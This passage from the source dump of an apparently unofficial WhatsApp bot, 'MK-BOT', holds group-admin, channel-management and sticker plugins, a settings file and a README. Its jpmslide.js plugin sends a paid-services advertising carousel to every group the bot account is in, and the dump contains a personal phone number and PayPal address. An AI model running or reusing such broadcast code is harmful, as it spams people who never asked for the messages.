saveUsers = () => { 41 | fs.writeFileSync(userDbPath, JSON.stringify(users, null, 4)); 42 | }; 43 | 44 | module.exports = { 45 | handleIncomingMessage, 46 | }; -------------------------------------------------------------------------------- /plugins/promote.js: -------------------------------------------------------------------------------- 1 | /* ════════════════════════════════ 2 | * 🚀 MALVIN KING TECH - YT 3 | * ════════════════════════════════ 4 | * 5 | * 📺 YouTube : https://www.youtube.com/@malvintech2 6 | * 💻 GitHub : https://github.com/XdKing2 7 | * 🌐 Website : Coming Soon 8 | * 9 | * 👨‍💻 Developer : Malvin King 10 | * 📧 Contact : Available on GitHub 11 | * 12 | * ⚠️ Please do not remove this watermark ( credit ) 13 | * ════════════════════════════════ 14 | * © 2025 Malvin Tech - All Rights Reserved 15 | * ═════════════════════════════ */ 16 | 17 | let handler = async (m, { mking, isAdmins, isBotAdmins, args, reply }) => { 18 | if (!m.isGroup) return reply(mess.group); 19 | if (!isAdmins) return reply(mess.admin); 20 | if (!isBotAdmins) return reply(mess.botAdmin); 21 | 22 | let user = 23 | m.quoted?.sender || 24 | m.mentionedJid?.[0] || 25 | (args[0] ? args[0].replace(/[^0-9]/g, '') + '@s.whatsapp.net' : null); 26 | 27 | if (!user) return reply('Tag or reply to the user message you want to make admin.'); 28 | 29 | await mking.groupParticipantsUpdate(m.chat, [user], 'promote'); 30 | return reply(`✅ Successfully promoted @${user.split('@')[0]} to group admin.`, { mentions: [user] }); 31 | }; 32 | 33 | handler.command = ['promote']; 34 | handler.tags = ['group']; 35 | handler.help = ['promote']; 36 | module.exports = handler; -------------------------------------------------------------------------------- /plugins/cid.js: -------------------------------------------------------------------------------- 1 | 2 | const { runtime } = require("../lib/myfunc"); 3 | 4 | let handler = async (m, { mking, reply, text }) => { 5 | 6 | if (!text) return reply("⚠️ Please enter at least 1 channel link!"); 7 | const processMsg = await mking.sendMessage(m.chat, { text: "Checking channel..." }); 8 | 9 | const links = text.split(/\s+/).slice(0, 10); 10 | let captionArr = []; 11 | 12 | for (let link of links) { 13 | if (!link.includes("https://whatsapp.com/channel/")) { 14 | captionArr.push(`[ ! ] Invalid link: ${link}`); 15 | continue; 16 | } 17 | 18 | let idPart = link.split('https://whatsapp.com/channel/')[1]; 19 | 20 | try { 21 | let res = await mking.newsletterMetadata("invite", idPart); 22 | 23 | captionArr.push( 24 | `*${res.name || "No Name"}*\n` + 25 | `* Channel ID: ${res.id}\n` + 26 | `* Followers: ${res.subscribers || 0}\n` + 27 | `* Verification: ${res.verification || "–"}\n` + 28 | `* State: ${res.state || "–"}\n` 29 | ); 30 | 31 | } catch (err) { 32 | console.error("❌ Error checking channel ID:", err); 33 | captionArr.push(`[ x ] Failed to check channel: ${link}`); 34 | } 35 | } 36 | 37 | const caption = captionArr.join("\n\n") || "[ x ] No valid channels to check."; 38 | 39 | // Edit initial message with results 40 | await mking.sendMessage( 41 | m.chat, 42 | { 43 | text: caption, 44 | edit: processMsg.key 45 | } 46 | ); 47 | }; 48 | 49 | handler.command = ["cekidch", "idch", "cid"]; 50 | handler.tags = ["info"]; 51 | handler.help = ["cid [link2]"]; 52 | 53 | module.exports = handler; -------------------------------------------------------------------------------- /plugins/listch.js: -------------------------------------------------------------------------------- 1 | const { getBuffer, runtime } = require("../lib/myfunc"); 2 | 3 | let handler = async (m, { mking, isCreator, reply }) => { 4 | if (!isCreator) return reply("⚠️ This feature is only for Bot Developer!"); 5 | 6 | await mking.sendMessage(m.chat, { react: { text: "👁️‍🗨️", key: m.key } }); 7 | 8 | let channels; 9 | try { 10 | channels = await mking.newsletterFetchAllParticipating(); 11 | } catch (e) { 12 | console.error(e); 13 | return m.reply("*✖️ Failed to fetch channel list.*"); 14 | } 15 | 16 | let chList = Object.values(channels); 17 | if (!chList.length) return m.reply("⚠️ No channels you are following."); 18 | 19 | let teks = `*📡 Channel Details List (${chList.length} Channels):*\n\n`; 20 | chList.forEach((ch, i) => { 21 | 22 | let role = ch.viewer_metadata?.role || "–"; 23 | let mute = ch.viewer_metadata?.mute || "–"; 24 | let verified = ch.verification || "–"; 25 | let state = ch.state || "–"; 26 | 27 | teks += `*${i + 1}. ${ch.name || "No Name"}*\n`; 28 | teks += `├ ID: ${ch.id || "❓"}\n`; 29 | teks += `├ Subscribers: ${ch.subscribers || 0}\n`; 30 | teks += `├ Your role: ${role}\n`; 31 | teks += `├ Mute: ${mute}\n`; 32 | teks += `├ Verification: ${verified}\n`; 33 | teks += `├ State: ${state}\n`; 34 | teks += `└ Link: ${ch.invite ? `https://whatsapp.com/channel/${ch.invite}` : "❌ Not available"}\n\n`; 35 | }); 36 | 37 | await mking.sendMessage( 38 | m.chat, 39 | { 40 | text: teks, 41 | contextInfo: { 42 | mentionedJid: [m.sender], 43 | externalAdReply: { 44 | title: `${chList.length} Active Channels`, 45 | body: `Runtime : ${runtime(process.uptime())}`, 46 | sourceUrl: global.linksaluran || "https://whatsapp.com", 47 | thumbnail: await getBuffer(global.img), 48 | mediaType: 1, 49 | renderLargerThumbnail: true, 50 | }, 51 | }, 52 | }, 53 | { quoted: m } 54 | ); 55 | }; 56 | 57 | handler.command = ["listchannel", "listch"]; 58 | handler.tags = ["info"]; 59 | handler.help = ["listchannel"]; 60 | 61 | module.exports = handler; -------------------------------------------------------------------------------- /lib/store/make-ordered-dictionary.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | Object.defineProperty(exports, "__esModule", { value: true }); 3 | function makeOrderedDictionary(idGetter) { 4 | const array = []; 5 | const dict = {}; 6 | const get = (id) => dict[id]; 7 | const update = (item) => { 8 | const id = idGetter(item); 9 | const idx = array.findIndex(i => idGetter(i) === id); 10 | if (idx >= 0) { 11 | array[idx] = item; 12 | dict[id] = item; 13 | } 14 | return false; 15 | }; 16 | const upsert = (item, mode) => { 17 | const id = idGetter(item); 18 | if (get(id)) { 19 | update(item); 20 | } 21 | else { 22 | if (mode === 'append') { 23 | array.push(item); 24 | } 25 | else { 26 | array.splice(0, 0, item); 27 | } 28 | dict[id] = item; 29 | } 30 | }; 31 | const remove = (item) => { 32 | const id = idGetter(item); 33 | const idx = array.findIndex(i => idGetter(i) === id); 34 | if (idx >= 0) { 35 | array.splice(idx, 1); 36 | delete dict[id]; 37 | return true; 38 | } 39 | return false; 40 | }; 41 | return { 42 | array, 43 | get, 44 | upsert, 45 | update, 46 | remove, 47 | updateAssign: (id, update) => { 48 | const item = get(id); 49 | if (item) { 50 | Object.assign(item, update); 51 | delete dict[id]; 52 | dict[idGetter(item)] = item; 53 | return true; 54 | } 55 | return false; 56 | }, 57 | clear: () => { 58 | array.splice(0, array.length); 59 | for (const key of Object.keys(dict)) { 60 | delete dict[key]; 61 | } 62 | }, 63 | filter: (contain) => { 64 | let i = 0; 65 | while (i < array.length) { 66 | if (!contain(array[i])) { 67 | delete dict[idGetter(array[i])]; 68 | array.splice(i, 1); 69 | } 70 | else { 71 | i += 1; 72 | } 73 | } 74 | }, 75 | toJSON: () => array, 76 | fromJSON: (newItems) => { 77 | array.splice(0, array.length, ...newItems); 78 | } 79 | }; 80 | } 81 | exports.default = makeOrderedDictionary; 82 | -------------------------------------------------------------------------------- /plugins/notifch.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { mking, text, isCreator, reply }) => { 2 | if (!isCreator) return reply("⚠️ This feature can only be used by Bot Developer!"); 3 | 4 | const channels = await mking.newsletterFetchAllParticipating(); 5 | const chList = Object.values(channels); 6 | if (!chList.length) return reply("❌ No channels followed by bot."); 7 | 8 | // === MODE: Direct channel === 9 | if (m.chat.endsWith("@newsletter")) { 10 | const action = text.trim().toLowerCase(); 11 | if (!["on", "off"].includes(action)) 12 | return reply("Use:\n.notifch on — Disable notifications for this channel\n.notifch off — Enable notifications for this channel"); 13 | 14 | try { 15 | if (action === "on") { 16 | await mking.newsletterMute(m.chat); 17 | reply(`Notifications for this channel successfully disabled.`); 18 | } else { 19 | await mking.newsletterUnmute(m.chat); 20 | reply(`Notifications for this channel successfully enabled.`); 21 | } 22 | } catch (e) { 23 | console.error(e); 24 | reply("⚠️ Failed to sync mute/unmute to WhatsApp."); 25 | } 26 | return; 27 | } 28 | 29 | // === MODE: Group or PV === 30 | let [idPart, action] = text.split("|").map(a => a?.trim()?.toLowerCase()); 31 | if (!idPart || !action) { 32 | let teks = `*📋 Channel List (${chList.length}):*\n\n`; 33 | chList.forEach((ch, i) => { 34 | teks += `${i + 1}. ${ch.name || "No Name"}\n`; 35 | teks += ` ID: ${ch.id}\n`; 36 | teks += ` Subs: ${ch.subscribers || 0}\n\n`; 37 | }); 38 | teks += `Use:\n.mutech 1,3|on\n.mutech 2|off`; 39 | return reply(teks); 40 | } 41 | 42 | const indexes = idPart.split(",").map(x => parseInt(x.trim()) - 1); 43 | const isOn = action === "on"; 44 | const isOff = action === "off"; 45 | 46 | if (!isOn && !isOff) 47 | return reply("Use: .notifch 1,3|on or .notifch 2|off"); 48 | 49 | let hasil = []; 50 | for (const idx of indexes) { 51 | if (isNaN(idx) || idx < 0 || idx >= chList.length) continue; 52 | const target = chList[idx]; 53 | try { 54 | if (isOn) { 55 | await mking.newsletterMute(target.id); 56 | hasil.push(`🔕 ${target.name || target.id} muted.`); 57 | } else if (isOff) { 58 | await mking.newsletterUnmute(target.id); 59 | hasil.push(`🔔 ${target.name || target.id} unmuted.`); 60 | } 61 | } catch (e) { 62 | console.error(e); 63 | hasil.push(`⚠️ Failed to process ${target.name || target.id}.`); 64 | } 65 | } 66 | 67 | if (hasil.length === 0) return reply("✖️ No valid channel IDs."); 68 | return reply(hasil.join("\n")); 69 | }; 70 | 71 | handler.help = ["mutech |on/off"]; 72 | handler.tags = ["owner"]; 73 | handler.command = ["mutech", "notifch"]; 74 | 75 | module.exports = handler; -------------------------------------------------------------------------------- /plugins/createch.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | const fs = require("fs"); 4 | const FormData = require("form-data"); 5 | const fetch = require("node-fetch"); 6 | const { getBuffer } = require("../lib/myfunc"); 7 | 8 | let handler = async (m, { mking, qmsg, mime, isCreator, text, reply }) => { 9 | if (!isCreator) return reply(mess.creator); 10 | if (!text) return reply("📛 *Use format:*\n.createchannel |"); 11 | 12 | let [name, desc] = text.split("|"); 13 | if (!name) return reply("❌ Please write the channel name."); 14 | desc = desc ? desc.trim() : "No description."; 15 | 16 | await mking.sendMessage(m.chat, { react: { text: "👁️‍🗨️", key: m.key } }); 17 | 18 | let imageUrl = "https://files.catbox.moe/xpntd8.jpg"; 19 | if (m.quoted && /image/.test(mime)) { 20 | try { 21 | const mediaPath = await mking.downloadAndSaveMediaMessage(qmsg); 22 | const form = new FormData(); 23 | form.append("fileToUpload", fs.createReadStream(mediaPath)); 24 | const res = await fetch("https://catbox.moe/user/api.php", { 25 | method: "POST", 26 | body: new URLSearchParams({ 27 | reqtype: "fileupload", 28 | userhash: "", 29 | }), 30 | }); 31 | 32 | const upload = await fetch("https://catbox.moe/user/api.php", { 33 | method: "POST", 34 | body: form, 35 | }); 36 | const url = await upload.text(); 37 | if (url && url.startsWith("https")) imageUrl = url.trim(); 38 | fs.unlinkSync(mediaPath); 39 | } catch (e) { 40 | console.error(e); 41 | reply("⚠️ Failed to upload image, using default image."); 42 | } 43 | } 44 | 45 | try { 46 | const newsletter = await mking.newsletterCreate(name.trim(), desc, { url: imageUrl }); 47 | const invite = newsletter?.invite || "❌ Not available"; 48 | const id = newsletter?.id || "❓"; 49 | 50 | await mking.sendMessage( 51 | m.chat, 52 | { 53 | text: `✅ *Channel Successfully Created!*\n\n📡 *Name:* ${name}\n📝 *Description:* ${desc}\n🆔 *ID:* ${id}\n🔗 *Link:* https://whatsapp.com/channel/${invite}`, 54 | contextInfo: { 55 | externalAdReply: { 56 | title: name, 57 | body: "Channel successfully created via NeoShiroko Labs system", 58 | sourceUrl: `https://whatsapp.com/channel/${invite}`, 59 | thumbnail: await getBuffer(imageUrl), 60 | mediaType: 1, 61 | renderLargerThumbnail: true, 62 | }, 63 | }, 64 | }, 65 | { quoted: m } 66 | ); 67 | } catch (err) { 68 | console.error(err); 69 | reply("✖️ *Failed to create channel.* Make sure your bot account meets the requirements to create a channel."); 70 | } 71 | }; 72 | 73 | handler.command = ["createchannel", "createch"]; 74 | handler.tags = ["owner"]; 75 | handler.help = ["createchannel |"]; 76 | module.exports = handler; -------------------------------------------------------------------------------- /settings.js: -------------------------------------------------------------------------------- 1 | /* ═════════════════════════════════ 2 | * 🚀 MALVIN KING TECH - YT 3 | * ═════════════════════════════════ 4 | * 5 | * 📺 YouTube : https://www.youtube.com/@malvintech2 6 | * 💻 GitHub : https://github.com/XdKing2 7 | * 🌐 Website : Coming Soon 8 | * 🪀 WhatsApp : https://whatsapp.com/channel/0029VbB3YxTDJ6H15SKoBv3S 9 | * 10 | * 👨‍💻 Developer : Malvin King 11 | * 📧 Contact : Available on GitHub 12 | * 13 | * ⚠️ Please do not remove this watermark 14 | * ═════════════════════════════════ 15 | * © 2025 Malvin Tech - All Rights Reserved 16 | * ════════════════════════════════ */ 17 | 18 | const fs = require('fs') 19 | const chalk = require('chalk') 20 | 21 | //———————[ Owner Config ]——————————// 22 | 23 | global.ownernumber = '263714757857' // Change to your number 24 | global.ownername = 'ᴍᴀʟᴠɪɴ ᴋɪɴɢ' // add ur name 25 | global.botMode ='public' // change to public or self 26 | 27 | //————————[ Bot Config ]—————————// 28 | 29 | global.SESSION_ID = ""; // add ur session id starts with starcore~ 30 | global.namabot = "ᴍᴋ-ʙᴏᴛ" 31 | global.nomorbot = '263714757857' // Change to yourbot number 32 | global.pair = "MRMALVIN" 33 | global.version = '1.0.1' 34 | global.autojoingc = false 35 | global.anticall = false 36 | global.autoreadsw = false 37 | global.autoread = false 38 | 39 | //——————[ Social Media Config ]———————// 40 | global.web = "https://whatsapp.com/channel/0029VbB3YxTDJ6H15SKoBv3S" 41 | global.linkSaluran = "https://whatsapp.com/channel/0029VbB3YxTDJ6H15SKoBv3S" 42 | global.idSaluran = "120363402507750390@newsletter" 43 | global.nameSaluran = "Malvin Tech Ch." 44 | 45 | //————————[ Watermark Config ]———————// 46 | global.packname = 'Stick By Mk' 47 | global.author = 'YT Malvin King Tech' 48 | global.foother = 'Made By Malvin King' 49 | 50 | 51 | //———————[ Media Config ]—————————// 52 | global.img = "https://files.catbox.moe/641pvo.jpg" 53 | global.thumbxm = "https://files.catbox.moe/q57r0k.jpg" 54 | global.thumbbc = "https://files.catbox.moe/641pvo.jpg" 55 | global.thumb = [ 56 | "https://files.catbox.moe/641pvo.jpg", 57 | "https://i.ibb.co/Z1zG8ndV/malvin-xd.jpg" 58 | 59 | ] 60 | 61 | //—————[ Broadcast Config ]——————————// 62 | // Delay Jpm & Pushctc || 1000 = 1 second 63 | global.delayJpm = 3500 64 | global.delayPushkontak = 5000 65 | global.namakontak = "AutoSave M-K" 66 | 67 | //——————[ Message Config ]——————————// 68 | global.mess = { 69 | success: 'sᴜᴄᴄᴇssғᴜʟʏ', 70 | admin: '[ !! ] *sʏsᴛᴇᴍ*\nᴏɴʟʏ ғᴏʀ ɢʀᴏᴜᴘ ᴀᴅᴍɪɴ', 71 | botAdmin: '[ !! ] *sʏsᴛᴇᴍ*\nʙᴏᴛ ɪs ɴᴏᴛ ᴀᴅᴍɪɴ ʏᴇᴛ', 72 | creator: '[ !! ] *sʏsᴛᴇᴍ*\nᴛʜɪs ғᴇᴀᴛᴜʀᴇ ɪs ᴏɴʟʏ ғᴏʀ ᴏᴡɴᴇʀ', 73 | group: '[ !! ] *sʏsᴛᴇᴍ*\nᴛʜɪs ғᴇᴀᴛᴜʀᴇ ɪs ᴏɴʟʏ ғᴏʀ ɢʀᴏᴜᴘs', 74 | private: '[ !! ] *sʏsᴛᴇᴍ*\nᴛʜɪs ғᴇᴀᴛᴜʀᴇ ɪs ᴏɴʟʏ ғᴏʀ ᴘʀɪᴠᴀᴛᴇ ᴄʜᴀᴛ', 75 | wait: '[ !! ] *sʏsᴛᴇᴍ*\nᴘʟᴇᴀsᴇ ᴡᴀɪᴛ, ᴘʀᴏᴄᴇssɪɴɢ...', 76 | } 77 | 78 | // *** message *** 79 | global.closeMsgInterval = 30; // 30 minutes. maximum 60 minutes, minimum 1 minute 80 | global.backMsgInterval = 2; // 2 hours. maximum 24 hours, minimum 1 hour 81 | 82 | let file = require.resolve(__filename) 83 | fs.watchFile(file, () => { 84 | fs.unwatchFile(file) 85 | console.log(chalk.redBright(`Update ${__filename}`)) 86 | delete require.cache[file] 87 | require(file) 88 | }) 89 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 |

7 | 𝖬𝖪-𝖡𝖮𝖳 8 |

9 | 10 | 11 |

12 | Typing animation for features 13 |

14 | 15 | 16 |

17 | 18 | MK Bot Logo 19 | 20 |

21 | 22 | 23 |

divider

24 | 25 | 26 |

27 | 28 | GitHub Followers 29 | 30 | 31 | GitHub Stars 32 | 33 | 34 | GitHub Forks 35 | 36 | 37 | GitHub Watchers 38 | 39 |

40 | 41 | 42 | ## 🚀 Deployment on Pterodactyl Panel 43 | 44 | ### 1. 🍴 Fork This Repository 45 | > ⭐ Fork and star this project if you find it useful! 46 | 47 |

48 | 49 | Fork this repository 50 | 51 |

52 | 53 |

divider

54 | 55 | > Get session id 56 | 57 | [![Get Pairing Code](https://img.shields.io/badge/Get%20Pairing%20Code-orange?style=for-the-badge&logo=opencv&logoColor=black)](https://starcore-pair.vercel.app/) 58 | 59 |

divider

60 | 61 | ### 2. 🖥 Deploy on Pterodactyl Panel 62 | 63 | - Download your bot file 64 | - Login to your Pterodactyl panel 65 | - Upload the ZIP or extracted files 66 | - Extract the content inside your panel file manager 67 | 68 | ### 3. 🛠 Prepare Your Credentials 69 | 70 | - Edit `settings.js` as needed 71 | 72 | 73 | 74 |

divider

75 | 76 | ### 📥 Get MK-BOT 77 | 78 |

79 | 80 | Download MK-BOT 81 | 82 |

83 | 84 | ## 📡 DEPLOYMENT OPTIONS 85 | 86 |
87 | 88 | 89 | 94 | 99 | 100 | 101 | 106 | 107 |
90 | 91 | 92 | 93 | 95 | 96 | 97 | 98 |
102 | 103 | 104 | 105 |
108 |
109 | 110 | 111 | > U can use any other panel u know 112 |

divider

113 | 114 | 115 | 116 | Mk-bot is a WhatsApp bot script developed by an owner named Malvin King (XdKing2). As the script owner, I am grateful for the use of the WhatsApp base bot script 117 | 118 | 1. Support lid & pairing code 119 | 2. Online 24 hours non-stop 120 | 3. Support case plugin 121 | 4. 100% code without enc 122 | 5. Edded SESSION_ID support 123 | 124 | ~> Note 125 | 1. this script does not contain malware, backdoors or anything that is detrimental to its users 126 | 2. when this script is misused, I (Malvin King) am not responsible for any losses, because this script is open source, safe and clean from disturbing its users 127 | 3. Thanks for following 128 | 129 | -------------------------------------------------------------------------------- /plugins/jpmslide.js: -------------------------------------------------------------------------------- 1 | const { generateWAMessageFromContent, generateWAMessage, proto } = require("@whiskeysockets/baileys") 2 | const fs = require("fs") 3 | 4 | let handler = async (m, { penting, mking, isCreator, text }) => { 5 | if (!isCreator) return m.reply("⚠️ This feature is only for Bot Owner!") 6 | 7 | const allGroups = await mking.groupFetchAllParticipating() 8 | const groupIDs = Object.keys(allGroups) 9 | let sentCount = 0 10 | if (!groupIDs.length) return m.reply("❌ No groups found.") 11 | 12 | const processMsg = await mking.sendMessage(m.chat, { text: `*⏳ Processing Broadcast...*\nGroup count: ${groupIDs.length}\nType: Carousel Message` }, { quoted: m }) 13 | 14 | // === MINI BOT CREATIONS DATA === 15 | const botServices = [ 16 | { 17 | title: "🤖 Bot Creations", 18 | caption: `* Lite Basic Bot: $5 USD 19 | * Mini Pro Bot: $10 USD 20 | * Advanced Bot: $15 USD 21 | * Enterprise Bot: $25 USD 22 | 23 | * Custom Plugins: $3-10 USD 24 | * Bug Fixing: $2-5 USD 25 | * Feature Addition: $5-15 USD 26 | * Bot Renaming/Translation: $3 USD 27 | 28 | 💳 *Payment Methods:* 29 | • PayPal: malvinb0004@gmail.com 30 | • EcoCash (Zimbabwe) 31 | 32 | _All bots include:_ 33 | • Source code 34 | • Setup guide 35 | • Basic support 36 | • Free updates 37 | 38 | * *Developer Channel:* 39 | ${global.linkSaluran}`, 40 | image: global.thumbbc, 41 | button: "Order Now", 42 | source: "https://malvin-api-site.vercel.app/contact", 43 | }, 44 | { 45 | title: "🚀 Lite Bot Features", 46 | caption: `🤖 *Lite Basic Bot Features:* 47 | • Basic commands (!menu, !sticker, !ping) 48 | • Media downloader 49 | • Sticker creator 50 | • Simple games 51 | • User management 52 | • Anti-spam protection 53 | 54 | 🤖 *Mini Pro Bot Features:* 55 | • All Lite features + 56 | • Plugin system 57 | • Database support 58 | • Admin tools 59 | • Multi-language 60 | • Custom commands 61 | 62 | 🤖 *Advanced Bot Features:* 63 | • All Pro features + 64 | • Web dashboard 65 | • API integration 66 | • Payment system 67 | • Auto backup 68 | • Advanced moderation 69 | 70 | 💳 *Payment:* 71 | PayPal: malvinb0004@gmail.com 72 | EcoCash: Available for Zimbabwe`, 73 | image: global.thumbbc, 74 | button: "View Features", 75 | source: "https://malvin-api-site.vercel.app/contact", 76 | }, 77 | { 78 | title: "💡 Custom Services", 79 | caption: `* Custom Plugin Development: $3-10 USD 80 | * Bot Script Modification: $5-20 USD 81 | * Bug Fixing & Optimization: $2-10 USD 82 | * Feature Addition: $5-15 USD 83 | * Multi-device Setup: $8 USD 84 | * Bot Renaming/Translation: $3 USD 85 | * 24/7 Maintenance: $15/month 86 | 87 | 💳 *Payment Methods:* 88 | • PayPal: malvinb0004@gmail.com 89 | • EcoCash (Zimbabwe) 90 | 91 | _Services Include:_ 92 | • Source Code Access 93 | • Documentation 94 | • Installation Guide 95 | • Support Period 96 | • Free Minor Updates 97 | 98 | 📞 Contact for custom requests!`, 99 | image: global.thumbbc, 100 | button: "Custom Order", 101 | source: "https://malvin-api-site.vercel.app/contact", 102 | }, 103 | { 104 | title: "🌍 Translation & Renaming", 105 | caption: `* Bot Translation to English: $3 USD 106 | * Bot Renaming Service: $3 USD 107 | * Multi-language Setup: $5 USD 108 | * Custom Command Names: $2 USD 109 | * Language Pack Installation: $4 USD 110 | 111 | _Translation Services:_ 112 | • English language setup 113 | • Custom bot name 114 | • Command translations 115 | • Menu text localization 116 | • Error messages in English 117 | 118 | _Renaming Services:_ 119 | • Change bot name 120 | • Custom prefix setup 121 | • Command name changes 122 | • Menu reorganization 123 | • Brand customization 124 | 125 | 💳 *Payment:* 126 | PayPal: malvinb0004@gmail.com 127 | EcoCash: Zimbabwe`, 128 | image: global.thumbbc, 129 | button: "Translate/Rename", 130 | source: "https://malvin-api-site.vercel.app/contact", 131 | } 132 | ] 133 | 134 | // === BROADCAST TO GROUPS === 135 | for (const id of groupIDs) { 136 | if (penting?.blacklistJpm?.includes(id)) continue 137 | try { 138 | const cards = [] 139 | 140 | for (const item of botServices) { 141 | const imgMsg = await generateWAMessage( 142 | m.chat, 143 | { image: { url: item.image } }, 144 | { upload: mking.waUploadToServer } 145 | ) 146 | 147 | cards.push({ 148 | body: proto.Message.InteractiveMessage.Body.fromObject({ 149 | text: item.caption || "", 150 | }), 151 | header: proto.Message.InteractiveMessage.Header.fromObject({ 152 | title: item.title || "", 153 | hasMediaAttachment: true, 154 | imageMessage: imgMsg.message.imageMessage, 155 | }), 156 | nativeFlowMessage: proto.Message.InteractiveMessage.NativeFlowMessage.fromObject({ 157 | buttons: [ 158 | { 159 | name: "cta_url", 160 | buttonParamsJson: JSON.stringify({ 161 | display_text: item.button || "Open", 162 | url: item.source || "https://malvin-api-site.vercel.app/contact", 163 | }), 164 | }, 165 | ], 166 | }), 167 | }) 168 | } 169 | 170 | const broadcastMsg = generateWAMessageFromContent( 171 | id, 172 | { 173 | viewOnceMessage: { 174 | message: { 175 | messageContextInfo: { 176 | deviceListMetadata: {}, 177 | deviceListMetadataVersion: 2, 178 | }, 179 | interactiveMessage: proto.Message.InteractiveMessage.fromObject({ 180 | body: proto.Message.InteractiveMessage.Body.create({ 181 | text: `*🤖 Mini Bot Creations & Services!*\n*💳 PayPal: malvinb0004@gmail.com | EcoCash: Zimbabwe*\n*Check our services below*`, 182 | }), 183 | 184 | header: proto.Message.InteractiveMessage.Header.create({ 185 | hasMediaAttachment: false, 186 | }), 187 | carouselMessage: proto.Message.InteractiveMessage.CarouselMessage.fromObject({ 188 | cards, 189 | }), 190 | }), 191 | }, 192 | }, 193 | }, 194 | {} 195 | ) 196 | 197 | await mking.relayMessage(id, broadcastMsg.message, { messageId: broadcastMsg.key.id }) 198 | sentCount++ 199 | await new Promise(resolve => setTimeout(resolve, global.delayJpm || 4000)) 200 | } catch (err) { 201 | console.error(`❌ Failed to send to ${id}:`, err) 202 | } 203 | } 204 | 205 | await mking.sendMessage(m.chat, { text: `✅ Broadcast Completed!*\nSuccessfully sent to *${sentCount}* groups out of ${groupIDs.length} total.` }, { edit: processMsg.key }) 206 | } 207 | 208 | handler.help = ["jpmslide"] 209 | handler.tags = ["owner"] 210 | handler.command = ["broadcastslide", "bcslide"] 211 | 212 | module.exports = handler -------------------------------------------------------------------------------- /lib/exif.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Base By Siputzx 3 | * Created On 22/2/2024 4 | * Contact Me on wa.me/6288292024190 5 | * Supported By Gpt Assistant 6 | */ 7 | 8 | const fs = require('fs') 9 | const { tmpdir } = require("os") 10 | const Crypto = require("crypto") 11 | const ffmpegPath = require('@ffmpeg-installer/ffmpeg').path; 12 | const ff = require('fluent-ffmpeg') 13 | const webp = require("node-webpmux") 14 | const path = require("path") 15 | ff.setFfmpegPath(ffmpegPath); 16 | 17 | async function imageToWebp (media) { 18 | 19 | const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 20 | const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.jpg`) 21 | 22 | fs.writeFileSync(tmpFileIn, media) 23 | 24 | await new Promise((resolve, reject) => { 25 | ff(tmpFileIn) 26 | .on("error", reject) 27 | .on("end", () => resolve(true)) 28 | .addOutputOptions([ 29 | "-vcodec", 30 | "libwebp", 31 | "-vf", 32 | "scale='min(320,iw)':min'(320,ih)':force_original_aspect_ratio=decrease,fps=15, pad=320:320:-1:-1:color=white@0.0, split [a][b]; [a] palettegen=reserve_transparent=on:transparency_color=ffffff [p]; [b][p] paletteuse" 33 | ]) 34 | .toFormat("webp") 35 | .save(tmpFileOut) 36 | }) 37 | 38 | const buff = fs.readFileSync(tmpFileOut) 39 | fs.unlinkSync(tmpFileOut) 40 | fs.unlinkSync(tmpFileIn) 41 | return buff 42 | } 43 | 44 | async function videoToWebp (media) { 45 | 46 | const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 47 | const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.mp4`) 48 | 49 | fs.writeFileSync(tmpFileIn, media) 50 | 51 | await new Promise((resolve, reject) => { 52 | ff(tmpFileIn) 53 | .on("error", reject) 54 | .on("end", () => resolve(true)) 55 | .addOutputOptions([ 56 | "-vcodec", 57 | "libwebp", 58 | "-vf", 59 | "scale='min(320,iw)':min'(320,ih)':force_original_aspect_ratio=decrease,fps=15, pad=320:320:-1:-1:color=white@0.0, split [a][b]; [a] palettegen=reserve_transparent=on:transparency_color=ffffff [p]; [b][p] paletteuse", 60 | "-loop", 61 | "0", 62 | "-ss", 63 | "00:00:00", 64 | "-t", 65 | "00:00:05", 66 | "-preset", 67 | "default", 68 | "-an", 69 | "-vsync", 70 | "0" 71 | ]) 72 | .toFormat("webp") 73 | .save(tmpFileOut) 74 | }) 75 | 76 | const buff = fs.readFileSync(tmpFileOut) 77 | fs.unlinkSync(tmpFileOut) 78 | fs.unlinkSync(tmpFileIn) 79 | return buff 80 | } 81 | 82 | async function writeExifImg (media, metadata) { 83 | let wMedia = await imageToWebp(media) 84 | const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 85 | const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 86 | fs.writeFileSync(tmpFileIn, wMedia) 87 | 88 | if (metadata.packname || metadata.author) { 89 | const img = new webp.Image() 90 | const json = { "sticker-pack-id": `https://github.com/DikaArdnt/Hisoka-Morou`, "sticker-pack-name": metadata.packname, "sticker-pack-publisher": metadata.author, "emojis": metadata.categories ? metadata.categories : [""] } 91 | const exifAttr = Buffer.from([0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x41, 0x57, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00]) 92 | const jsonBuff = Buffer.from(JSON.stringify(json), "utf-8") 93 | const exif = Buffer.concat([exifAttr, jsonBuff]) 94 | exif.writeUIntLE(jsonBuff.length, 14, 4) 95 | await img.load(tmpFileIn) 96 | fs.unlinkSync(tmpFileIn) 97 | img.exif = exif 98 | await img.save(tmpFileOut) 99 | return tmpFileOut 100 | } 101 | } 102 | 103 | async function writeExifVid (media, metadata) { 104 | let wMedia = await videoToWebp(media) 105 | const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 106 | const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 107 | fs.writeFileSync(tmpFileIn, wMedia) 108 | 109 | if (metadata.packname || metadata.author) { 110 | const img = new webp.Image() 111 | const json = { "sticker-pack-id": 